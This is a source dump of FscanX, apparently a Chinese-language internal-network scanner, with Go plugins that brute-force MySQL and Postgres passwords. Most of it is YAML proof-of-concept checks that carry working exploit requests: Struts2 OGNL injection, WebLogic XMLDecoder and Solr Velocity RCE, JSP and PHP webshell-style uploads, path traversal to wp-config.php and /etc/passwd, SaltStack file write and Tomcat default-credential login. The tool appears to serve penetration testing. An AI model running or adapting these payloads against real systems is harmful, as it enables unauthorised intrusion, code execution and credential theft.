-------------------------------------------------------------------------------- 1 | name: poc-yaml-seeyon-unauthoried 2 | rules: 3 | - method: POST 4 | path: "/seeyon/thirdpartyController.do" 5 | expression: "true" 6 | body: | 7 | method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4 8 | search: >- 9 | JSESSIONID=(?P.+?) 10 | - method: GET 11 | path: "/seeyon/main.do" 12 | headers: 13 | Cookie: JSESSIONID={{session}} 14 | expression: | 15 | response.status == 200 && response.body.bcontains(b"当前已登录了一个用户,同一窗口中不能登录多个用户") 16 | detail: 17 | author: whami-root(https://github.com/whami-root) 18 | links: 19 | - https://github.com/whami-root -------------------------------------------------------------------------------- /webscan/pocs/ueditor-cnvd-2017-20077-file-upload.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-ueditor-cnvd-2017-20077-file-upload 2 | rules: 3 | - method: GET 4 | path: /ueditor/net/controller.ashx?action=catchimage&encode=utf-8 5 | headers: 6 | Accept-Encoding: 'deflate' 7 | follow_redirects: false 8 | expression: | 9 | response.status == 200 && response.body.bcontains(bytes(string("没有指定抓取源"))) 10 | detail: 11 | author: 清风明月(www.secbook.info) 12 | influence_version: 'UEditor v1.4.3.3' 13 | links: 14 | - https://zhuanlan.zhihu.com/p/85265552 15 | - https://www.freebuf.com/vuls/181814.html 16 | exploit: >- 17 | http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8 18 | -------------------------------------------------------------------------------- /core/core.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "errors" 5 | "reflect" 6 | ) 7 | 8 | func FuncCall(m map[string]interface{},name string,params ...interface{})(err error){ 9 | // 先判断一下这个函数是否存在 10 | if _ ,exist := m[name];!exist{ 11 | var err = errors.New("func is not exist") 12 | return err 13 | } 14 | 15 | var fun = reflect.ValueOf(m[name]) 16 | if len(params) != fun.Type().NumIn(){ 17 | var err = errors.New("func need params is different") 18 | return err 19 | } 20 | // 创建一个切片存放参数 21 | var paramin = make([]reflect.Value,len(params)) 22 | for key,value := range params{ 23 | paramin[key] = reflect.ValueOf(value) 24 | } 25 | _ = fun.Call(paramin) 26 | //fmt.Println(result) 27 | return nil 28 | } 29 | -------------------------------------------------------------------------------- /webscan/pocs/vmware-vcenter-unauthorized-rce-cve-2021-21972.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-vmware-vcenter-unauthorized-rce-cve-2021-21972 2 | rules: 3 | - method: GET 4 | path: /ui/vropspluginui/rest/services/uploadova 5 | follow_redirects: false 6 | expression: | 7 | response.status == 405 && response.body.bcontains(b"Method Not Allowed") 8 | - method: GET 9 | path: /ui/vropspluginui/rest/services/getstatus 10 | follow_redirects: false 11 | expression: | 12 | response.status == 200 && response.body.bcontains(b"States") && response.body.bcontains(b"Install Progress") 13 | detail: 14 | author: B1anda0(https://github.com/B1anda0) 15 | links: 16 | - https://swarm.ptsecurity.com/unauth-rce-vmware/ -------------------------------------------------------------------------------- /webscan/pocs/wordpress-ext-adaptive-images-lfi.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-wordpress-ext-adaptive-images-lfi 2 | rules: 3 | - method: GET 4 | path: >- 5 | /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php 6 | follow_redirects: false 7 | expression: > 8 | response.status == 200 && response.body.bcontains(b"DB_NAME") && response.body.bcontains(b"DB_USER") && response.body.bcontains(b"DB_PASSWORD") && response.body.bcontains(b"DB_HOST") 9 | detail: 10 | author: FiveAourThe(https://github.com/FiveAourThe) 11 | links: 12 | - https://www.anquanke.com/vul/id/1674598 13 | - https://github.com/security-kma/EXPLOITING-CVE-2019-14205 14 | -------------------------------------------------------------------------------- /webscan/pocs/weaver-ebridge-file-read-linux.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-weaver-ebridge-file-read-linux 2 | rules: 3 | - method: GET 4 | path: "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt" 5 | follow_redirects: false 6 | expression: | 7 | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id") 8 | search: | 9 | \"id\"\:\"(?P.+?)\"\, 10 | - method: GET 11 | path: "/file/fileNoLogin/{{var}}" 12 | follow_redirects: false 13 | expression: | 14 | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) 15 | detail: 16 | author: mvhz81 17 | info: e-bridge-file-read for Linux 18 | links: 19 | - https://mrxn.net/Infiltration/323.html 20 | -------------------------------------------------------------------------------- /webscan/pocs/weblogic-ssrf.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-weblogic-ssrf 2 | rules: 3 | - method: GET 4 | path: >- 5 | /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700 6 | headers: 7 | Cookie: >- 8 | publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; 9 | follow_redirects: false 10 | expression: >- 11 | response.status == 200 && (response.body.bcontains(b"'127.1.1.1', port: '700'") || response.body.bcontains(b"Socket Closed")) 12 | -------------------------------------------------------------------------------- /webscan/pocs/tomcat-manager-week.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-tomcat-manager-week 2 | sets: 3 | username: 4 | - tomcat 5 | - admin 6 | password: 7 | - tomcat 8 | - admin 9 | - 123456 10 | payload: 11 | - base64(username+":"+password) 12 | rules: 13 | - method: GET 14 | path: /manager/html 15 | follow_redirects: false 16 | expression: | 17 | response.status == 401 && response.body.bcontains(b"tomcat") && response.body.bcontains(b"manager") 18 | - method: GET 19 | path: /manager/html 20 | headers: 21 | Authorization: Basic {{payload}} 22 | follow_redirects: false 23 | expression: | 24 | response.status == 200 && response.body.bcontains(b"tomcat") && response.body.bcontains(b"manager") 25 | detail: 26 | author: shadown1ng(https://github.com/shadown1ng) 27 | 28 | -------------------------------------------------------------------------------- /webscan/pocs/tomcat-cve-2017-12615-rce.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-tomcat-cve-2017-12615-rce 2 | set: 3 | filename: randomLowercase(6) 4 | verifyStr: randomLowercase(12) 5 | commentStr: randomLowercase(12) 6 | rules: 7 | - method: PUT 8 | path: '/{{filename}}.jsp/' 9 | body: '{{verifyStr}} <%-- {{commentStr}} --%>' 10 | follow_redirects: false 11 | expression: | 12 | response.status == 201 13 | - method: GET 14 | path: '/{{filename}}.jsp' 15 | follow_redirects: false 16 | expression: | 17 | response.status == 200 && response.body.bcontains(bytes(verifyStr)) && !response.body.bcontains(bytes(commentStr)) 18 | detail: 19 | author: j4ckzh0u(https://github.com/j4ckzh0u) 20 | links: 21 | - https://www.seebug.org/vuldb/ssvid-96562 22 | - https://mp.weixin.qq.com/s/sulJSg0Ru138oASiI5cYAA 23 | -------------------------------------------------------------------------------- /webscan/pocs/weaver-ebridge-file-read-windows.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-weaver-ebridge-file-read-windows 2 | rules: 3 | - method: GET 4 | path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt 5 | follow_redirects: false 6 | expression: | 7 | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id") 8 | search: | 9 | \"id\"\:\"(?P.+?)\"\, 10 | - method: GET 11 | path: /file/fileNoLogin/{{var}} 12 | follow_redirects: false 13 | expression: | 14 | response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) 15 | detail: 16 | author: mvhz81 17 | info: e-bridge-file-read for windows 18 | links: 19 | - https://mrxn.net/Infiltration/323.html 20 | -------------------------------------------------------------------------------- /webscan/pocs/tongda-meeting-unauthorized-access.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-tongda-meeting-unauthorized-access 2 | rules: 3 | - method: GET 4 | path: >- 5 | /general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay 6 | headers: 7 | User-Agent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36' 8 | Accept-Encoding: 'deflate' 9 | follow_redirects: false 10 | expression: | 11 | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string("creator"))) && response.body.bcontains(bytes(string("originalTitle"))) 12 | detail: 13 | author: 清风明月(www.secbook.info) 14 | influence_version: ' < 通达OA 11.5' 15 | links: 16 | - https://mp.weixin.qq.com/s/3bI7v-hv4rMUnCIT0GLkJA 17 | -------------------------------------------------------------------------------- /webscan/pocs/seeyon-ajax-unauthorized-access.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-seeyon-ajax-unauthorized-access 2 | rules: 3 | - method: GET 4 | path: /seeyon/thirdpartyController.do.css/..;/ajax.do 5 | expression: | 6 | response.status == 200 && response.body.bcontains(bytes("java.lang.NullPointerException:null")) 7 | - method: GET 8 | path: /seeyon/personalBind.do.jpg/..;/ajax.do?method=ajaxAction&managerName=mMOneProfileManager&managerMethod=getOAProfile 9 | expression: | 10 | response.status == 200 && response.body.bcontains(bytes("MMOneProfile")) && response.body.bcontains(bytes("productTags")) && response.body.bcontains(bytes("serverIdentifier")) && response.content_type.contains("application/json") 11 | 12 | detail: 13 | author: x1n9Qi8 14 | links: 15 | - https://mp.weixin.qq.com/s/bHKDSF7HWsAgQi9rTagBQA 16 | - https://buaq.net/go-53721.html 17 | -------------------------------------------------------------------------------- /webscan/pocs/vmware-vcenter-cve-2021-21985-rce.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-vmware-vcenter-cve-2021-21985-rce 2 | rules: 3 | - method: POST 4 | path: /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData 5 | headers: 6 | Content-Type: application/json 7 | body: |- 8 | {"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}\x0d\x0a 9 | expression: | 10 | response.status == 200 && response.body.bcontains(b"result") 11 | detail: 12 | vulnpath: "/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData" 13 | author: envone77 14 | description: "vmware vCenter unauth RCE cve-2021-21985" 15 | links: 16 | - https://www.anquanke.com/post/id/243098 17 | - https://github.com/alt3kx/CVE-2021-21985_PoC -------------------------------------------------------------------------------- /webscan/pocs/thinkphp-v6-file-write.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-thinkphp-v6-file-write 2 | set: 3 | f1: randomInt(800000000, 900000000) 4 | rules: 5 | - method: GET 6 | path: /{{f1}}.php 7 | follow_redirects: true 8 | expression: | 9 | response.status == 404 10 | - method: GET 11 | path: / 12 | headers: 13 | Cookie: PHPSESSID=../../../../public/{{f1}}.php 14 | follow_redirects: true 15 | expression: | 16 | response.status == 200 && "set-cookie" in response.headers && response.headers["set-cookie"].contains(string(f1)) 17 | - method: GET 18 | path: /{{f1}}.php 19 | follow_redirects: true 20 | expression: | 21 | response.status == 200 && response.content_type.contains("text/html") 22 | detail: 23 | author: Loneyer 24 | Affected Version: "Thinkphp 6.0.0" 25 | links: 26 | - https://github.com/Loneyers/ThinkPHP6_Anyfile_operation_write 27 | -------------------------------------------------------------------------------- /webscan/pocs/saltstack-cve-2021-25282-file-write.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-saltstack-cve-2021-25282-file-write 2 | set: 3 | r1: randomLowercase(5) 4 | rules: 5 | - method: GET 6 | path: /run 7 | follow_redirects: false 8 | expression: | 9 | response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"wheel_async") && response.body.bcontains(b"runner_async") 10 | - method: POST 11 | path: /run 12 | headers: 13 | Content-type: application/json 14 | body: >- 15 | {"eauth":"auto","client":"wheel_async","fun":"pillar_roots.write","data":"{{r1}}","path":"../../../../../../../../../tmp/{{r1}}"} 16 | follow_redirects: false 17 | expression: | 18 | response.status == 200 && response.content_type.icontains("application/json") && "salt/wheel/d*".bmatches(response.body) 19 | detail: 20 | author: jweny(https://github.com/jweny) 21 | links: 22 | - https://www.anquanke.com/post/id/232748 -------------------------------------------------------------------------------- /webscan/pocs/solr-fileread2.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-solr-fileread2 2 | rules: 3 | - method: GET 4 | path: "/solr/admin/cores?indexInfo=false&wt=json" 5 | expression: "true" 6 | search: >- 7 | "name":"(?P.+?)" 8 | - method: POST 9 | path: "/solr/{{core}}/config" 10 | body: | 11 | {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} 12 | expression: | 13 | response.body.bcontains(b"responseHeader") 14 | - method: POST 15 | path: "/solr/{{core}}/debug/dump?param=ContentStreams" 16 | headers: 17 | Content-Type: application/x-www-form-urlencoded 18 | body: | 19 | stream.url=file:///c://windows/win.ini 20 | expression: | 21 | response.status == 200 && response.body.bcontains(b"for 16-bit app support") 22 | detail: 23 | author: whami-root(https://github.com/whami-root) 24 | links: 25 | - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d186 -------------------------------------------------------------------------------- /webscan/pocs/vengd-upload-rce.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-vengd-upload-rce 2 | set: 3 | r1: randomLowercase(4) 4 | r2: randomLowercase(4) 5 | r3: randomInt(40000, 44800) 6 | r4: randomInt(40000, 44800) 7 | rules: 8 | - method: POST 9 | path: /Upload/upload_file.php?l={{r1}} 10 | headers: 11 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv 12 | body: |- 13 | ------WebKitFormBoundaryfcKRltGv 14 | Content-Disposition: form-data; name="file"; filename="{{r2}}.php" 15 | Content-Type: image/avif 16 | 17 | ------WebKitFormBoundaryfcKRltGv-- 18 | expression: response.status == 200 && response.body.bcontains(b"_Request:") 19 | - method: GET 20 | path: '/Upload/{{r1}}/{{r2}}.php' 21 | expression: response.status == 200 && response.body.bcontains(bytes(string(r3 * r4))) 22 | detail: 23 | author: jingling(https://github.com/shmilylty) 24 | links: 25 | - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g -------------------------------------------------------------------------------- /webscan/pocs/struts2-045-2.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-struts2_045-2 2 | rules: 3 | - method: GET 4 | path: / 5 | headers: 6 | Content-Type: "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('struts2_security_')).(#res.getWriter().print('check')).(#res.getWriter().flush()).(#res.getWriter().close())}" 7 | follow_redirects: true 8 | expression: | 9 | response.body.bcontains(b"struts2_security_check") 10 | detail: 11 | author: shadown1ng(https://github.com/shadown1ng) 12 | 13 | -------------------------------------------------------------------------------- /webscan/pocs/weaver-oa-arbitrary-file-upload.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-weaver-oa-arbitrary-file-upload 2 | set: 3 | r1: randomLowercase(4) 4 | r2: randomInt(40000, 44800) 5 | r3: randomInt(40000, 44800) 6 | rules: 7 | - method: POST 8 | path: /page/exportImport/uploadOperation.jsp 9 | headers: 10 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo 11 | body: |- 12 | ------WebKitFormBoundaryFy3iNVBftjP6IOwo 13 | Content-Disposition: form-data; name="file"; filename="{{r1}}.jsp" 14 | Content-Type: application/octet-stream 15 | <%out.print({{r2}} * {{r3}});%> 16 | ------WebKitFormBoundaryFy3iNVBftjP6IOwo-- 17 | expression: response.status == 200 18 | - method: GET 19 | path: '/page/exportImport/fileTransfer/{{r1}}.jsp' 20 | expression: response.status == 200 && response.body.bcontains(bytes(string(r2 * r3))) 21 | detail: 22 | author: jingling(https://github.com/shmilylty) 23 | links: 24 | - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g -------------------------------------------------------------------------------- /webscan/pocs/solr-fileread1.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-solr-fileread1 2 | rules: 3 | - method: GET 4 | path: "/solr/admin/cores?indexInfo=false&wt=json" 5 | expression: response.status == 200 && response.body.bcontains(b"responseHeader") 6 | search: >- 7 | "name":"(?P.+?)" 8 | - method: POST 9 | path: "/solr/{{core}}/config" 10 | body: | 11 | {"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}} 12 | expression: | 13 | response.body.bcontains(b"responseHeader") 14 | - method: POST 15 | path: "/solr/{{core}}/debug/dump?param=ContentStreams" 16 | headers: 17 | Content-Type: application/x-www-form-urlencoded 18 | body: | 19 | stream.url=file:///etc/passwd 20 | expression: | 21 | response.status == 200 && r'root:[x*]:0:0:'.bmatches(response.body) 22 | detail: 23 | author: whami-root(https://github.com/whami-root) 24 | links: 25 | - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d186 -------------------------------------------------------------------------------- /webscan/scan.go: -------------------------------------------------------------------------------- 1 | package webscan 2 | 3 | import ( 4 | "FscanX/config" 5 | "FscanX/webscan/lib" 6 | "embed" 7 | "fmt" 8 | "net/http" 9 | "strings" 10 | ) 11 | 12 | //go:embed pocs 13 | var Pocs embed.FS 14 | 15 | func WebScanPOC(info *httpdata) { 16 | var pocinfo = config.WebConfig 17 | buf := strings.Split(info.Host, "/") 18 | pocinfo.Target = strings.Join(buf[:3], "/") 19 | if pocinfo.PocName != "" { 20 | Execute(pocinfo,info.Thread) 21 | return 22 | } 23 | for _, infostr := range info.Infostr { 24 | pocinfo.PocName = lib.CheckInfoPoc(infostr) 25 | Execute(pocinfo,info.Thread) 26 | } 27 | } 28 | 29 | func Execute(PocInfo config.WebInfo,thread int) { 30 | req, err := http.NewRequest("GET", PocInfo.Target, nil) 31 | if err != nil { 32 | errlog := fmt.Sprintf("[-] webtitle %v %v", PocInfo.Target, err) 33 | _ = errlog 34 | return 35 | } 36 | req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") 37 | if PocInfo.SetCookie != "" { 38 | req.Header.Set("Cookie", PocInfo.SetCookie) 39 | } 40 | lib.CheckMultiPoc(req, Pocs,thread, PocInfo.PocName) 41 | } -------------------------------------------------------------------------------- /webscan/pocs/showdoc-uploadfile.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-showdoc-uploadfile 2 | set: 3 | r1: randomLowercase(4) 4 | r2: randomLowercase(4) 5 | rules: 6 | - method: POST 7 | path: /index.php?s=/home/page/uploadImg 8 | headers: 9 | Content-Type: "multipart/form-data; boundary=--------------------------835846770881083140190633" 10 | follow_redirects: false 11 | body: "----------------------------835846770881083140190633\nContent-Disposition: form-data; name=\"editormd-image-file\"; filename=\"{{r1}}.<>php\"\nContent-Type: text/plain\n\n\n----------------------------835846770881083140190633--" 12 | expression: | 13 | response.status == 200 && response.body.bcontains(b"success") 14 | search: | 15 | (?P\d{4}-\d{2}-\d{2})\\/(?P[a-f0-9]+\.php) 16 | - method: GET 17 | path: /Public/Uploads/{{date}}/{{file}} 18 | follow_redirects: false 19 | expression: | 20 | response.status == 200 && response.body.bcontains(bytes(r2)) 21 | detail: 22 | author: White(https://github.com/WhiteHSBG) 23 | Affected Version: "showdoc <= 2.8.6" 24 | links: 25 | - https://github.com/star7th/showdoc/pull/1059 -------------------------------------------------------------------------------- /webscan/pocs/struts2-046-1.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-struts2_046-1 2 | set: 3 | r1: b"-----------------------------\r\nContent-Disposition:\x20form-data;\x20name=\"test\";\x20filename=\"%{(#_=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType(\'text/html;charset=UTF-8\')).(#res.getWriter().print(\'struts2_security_\')).(#res.getWriter().print(\'check\')).(#res.getWriter().flush()).(#res.getWriter().close())}\x00b\"\r\nContent-Type:\x20text/plain\r\n\r\n\r\n-----------------------------" 4 | rules: 5 | - method: POST 6 | path: / 7 | headers: 8 | Content-Type: multipart/form-data; boundary=--------------------------- 9 | follow_redirects: true 10 | body: | 11 | {{r1}} 12 | expression: | 13 | response.body.bcontains(b"struts2_security_check") 14 | detail: 15 | author: shadown1ng(https://github.com/shadown1ng) 16 | 17 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # FscanX 2 | 其实FscanX的灵感来源于fscan和LodanGo这两个开源项目,首先不得不说fscan和LadonGo两个都是非常优秀的内网扫描器。并且其独自的特色也让其在内网扫描器领域独占鳌头。其中LadonGo的插件式让其在扫描时更加专注,而fscan的傻瓜式则让其对内网的信息搜集更加高效。 3 | 但是对于一个懒蛋的我,我选择两者都要(毕竟小孩子才做选择),所以我将其Fscan进行了完全改造,在结合了LadonGo的单插件扫描的同时,保留了Fscan对于Web的漏洞和内网服务的脆弱检测,使其即像LadonGo的同时,也更加流氓。 4 | 5 |
目前实现的功能如下 (Example): 6 |
1.CVE-2020-0796 smbghost 插件扫描,支持整个C段式扫描 7 | ```shell 8 | FscanX.exe smbghost --thread 60 --noping 192.168.1.1/24 9 | ``` 10 | ![img.png](image/img4.png) 11 |
2. MS-17010 Eternal blue 扫描 12 | ```shell 13 | FscanX.exe ms17010 192.168.1.1/24 14 | ``` 15 |
3. ICMP / ping 存活主机探测 16 | ```shell 17 | FscanX.exe hostscan --noping --thread 60 192.168.1.1/24 18 | ``` 19 | ![img.png](image/img1.png) 20 |
4. TCP 端口扫描(支持脆弱端口的漏洞检测) 21 | ```shell 22 | FscanX.exe portscan --thread 60 --fragile --noping 192.168.1.1/24 23 | ``` 24 | ![img.png](image/img3.png) 25 |
5. Web 服务检测 26 | ```shell 27 | FscanX.exe webscan --thread 60 --fragile --noping 192.168.1.1/24 28 | ``` 29 | ![img.png](image/img2.png) 30 |
6.oxid 网卡信息发现 31 | ```shell 32 | FscanX.exe oxidscan 192.168.1.1/24 33 | ``` 34 | ![img.png](image/img.png) 35 |
上述为一些使用例子,详细可使用-h或--help查看帮助 36 |
最后: 37 |
感谢:https://github.com/shadow1ng/fscan 38 |
感谢:https://github.com/k8gege/LadonGo 39 | -------------------------------------------------------------------------------- /webscan/info.go: -------------------------------------------------------------------------------- 1 | package webscan 2 | 3 | import ( 4 | "FscanX/webscan/lib/info" 5 | "crypto/md5" 6 | "fmt" 7 | "regexp" 8 | ) 9 | 10 | 11 | func InfoCheck(Url string, CheckData []CheckDatas) []string { 12 | var matched bool 13 | var infoname []string 14 | 15 | for _, data := range CheckData { 16 | for _, rule := range info.RuleDatas { 17 | if rule.Type == "code" { 18 | matched, _ = regexp.MatchString(rule.Rule, string(data.Body)) 19 | } else { 20 | matched, _ = regexp.MatchString(rule.Rule, data.Headers) 21 | } 22 | if matched == true { 23 | infoname = append(infoname, rule.Name) 24 | } 25 | } 26 | flag, name := CalcMd5(data.Body) 27 | 28 | if flag == true { 29 | infoname = append(infoname, name) 30 | } 31 | } 32 | 33 | infoname = removeDuplicateElement(infoname) 34 | if len(infoname) > 0 { 35 | return infoname 36 | } 37 | return []string{""} 38 | } 39 | 40 | func CalcMd5(Body []byte) (bool, string) { 41 | has := md5.Sum(Body) 42 | md5str := fmt.Sprintf("%x", has) 43 | for _, md5data := range info.Md5Datas { 44 | if md5str == md5data.Md5Str { 45 | return true, md5data.Name 46 | } 47 | } 48 | return false, "" 49 | } 50 | 51 | func removeDuplicateElement(languages []string) []string { 52 | result := make([]string, 0, len(languages)) 53 | temp := map[string]struct{}{} 54 | for _, item := range languages { 55 | if _, ok := temp[item]; !ok { 56 | temp[item] = struct{}{} 57 | result = append(result, item) 58 | } 59 | } 60 | return result 61 | } -------------------------------------------------------------------------------- /webscan/pocs/solr-velocity-template-rce.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-solr-velocity-template-rce 2 | set: 3 | r1: randomInt(20000, 40000) 4 | r2: randomInt(20000, 40000) 5 | rules: 6 | - method: GET 7 | path: "/solr/admin/cores?wt=json" 8 | follow_redirects: false 9 | expression: response.status == 200 && response.body.bcontains(b"responseHeader") 10 | search: | 11 | "name":"(?P[^"]+)" 12 | - method: POST 13 | path: >- 14 | /solr/{{core}}/config 15 | headers: 16 | Content-Type: application/json 17 | body: |- 18 | { 19 | "update-queryresponsewriter": { 20 | "startup": "test", 21 | "name": "velocity", 22 | "class": "solr.VelocityResponseWriter", 23 | "template.base.dir": "", 24 | "solr.resource.loader.enabled": "true", 25 | "params.resource.loader.enabled": "true" 26 | } 27 | } 28 | expression: response.status == 200 29 | - method: GET 30 | path: "/solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(%24c%3D{{r1}}%20*%20{{r2}})%24c" 31 | follow_redirects: false 32 | expression: response.body.bcontains(bytes(string(r1 * r2))) 33 | detail: 34 | author: Loneyer 35 | description: 'Apache Solr RCE via Velocity template' 36 | links: 37 | - https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt 38 | - https://cert.360.cn/warning/detail?id=fba518d5fc5c4ed4ebedff1dab24caf2 39 | -------------------------------------------------------------------------------- /plugin/postgre.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "FscanX/config" 5 | "database/sql" 6 | "fmt" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | func PostgreScan(info *config.HostData) (tmperr error) { 12 | var starttime = time.Now().Unix() 13 | // 遍历字典用户名 14 | for _,user := range config.Userdict["postgresql"]{ 15 | // 遍历密码字典 16 | for _ ,pass := range config.Passwords { 17 | pass = strings.Replace(pass,"{user}",user,-1) 18 | flag, err := postgresConn(info,user,pass) 19 | if flag == true && err == nil { 20 | return nil 21 | }else{ 22 | errlog := fmt.Sprintf("[-] postgres %v:%v %v %v %v", info.HostName, info.Ports, user, pass, err) 23 | _ = errlog 24 | tmperr = err 25 | } 26 | if time.Now().Unix() - starttime > (int64(len(config.Userdict["postgresql"])*len(config.Passwords)) * info.TimeOut){ 27 | return err 28 | } 29 | } 30 | } 31 | return tmperr 32 | } 33 | func postgresConn(info *config.HostData, user string, pass string) (flag bool, err error) { 34 | flag = false 35 | Host, Port, Username, Password := info.HostName, info.Ports, user, pass 36 | dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable") 37 | db, err := sql.Open("postgres", dataSourceName) 38 | if err == nil { 39 | db.SetConnMaxLifetime(time.Duration(info.TimeOut) * time.Second) 40 | defer db.Close() 41 | err = db.Ping() 42 | if err == nil { 43 | result := fmt.Sprintf("[+] %v:%v [postgres]:%v %v", Host, Port, Username, Password) 44 | fmt.Println(result) 45 | flag = true 46 | } 47 | } 48 | return flag, err 49 | } -------------------------------------------------------------------------------- /webscan/pocs/weblogic-v10-cve-2017-10271.yml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-weblogic-cve-2017-10271 # nolint[:namematch] 2 | rules: 3 | - method: POST 4 | path: /wls-wsat/CoordinatorPortType 5 | headers: 6 | Content-Type: text/xml 7 | body: >- 8 | 505053555551485749 9 | follow_redirects: true 10 | expression: > 11 | response.body.bcontains(b"225773091") 12 | detail: 13 | vulnpath: '/wls-wsat/CoordinatorPortType' 14 | author: fnmsd(https://github.com/fnmsd) 15 | description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2017-10271' 16 | weblogic_version: '10' 17 | links: 18 | - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 19 | - https://github.com/QAX-A-Team/WeblogicEnvironment 20 | - https://xz.aliyun.com/t/5299 -------------------------------------------------------------------------------- /plugin/mysql.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "FscanX/config" 5 | "database/sql" 6 | "fmt" 7 | _ "github.com/go-sql-driver/mysql" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | func MysqlScan(info *config.HostData) (tmperr error) { 13 | var starttime = time.Now().Unix() 14 | // 遍历字典用户名 15 | for _,user := range config.Userdict["mysql"]{ 16 | // 遍历密码字典 17 | for _ ,pass := range config.Passwords { 18 | pass = strings.Replace(pass,"{user}",user,-1) 19 | flag, err := mysqlConn(info,user,pass) 20 | if flag == true && err == nil { 21 | return nil 22 | }else{ 23 | errlog := fmt.Sprintf("[-] mysql %v:%v %v %v 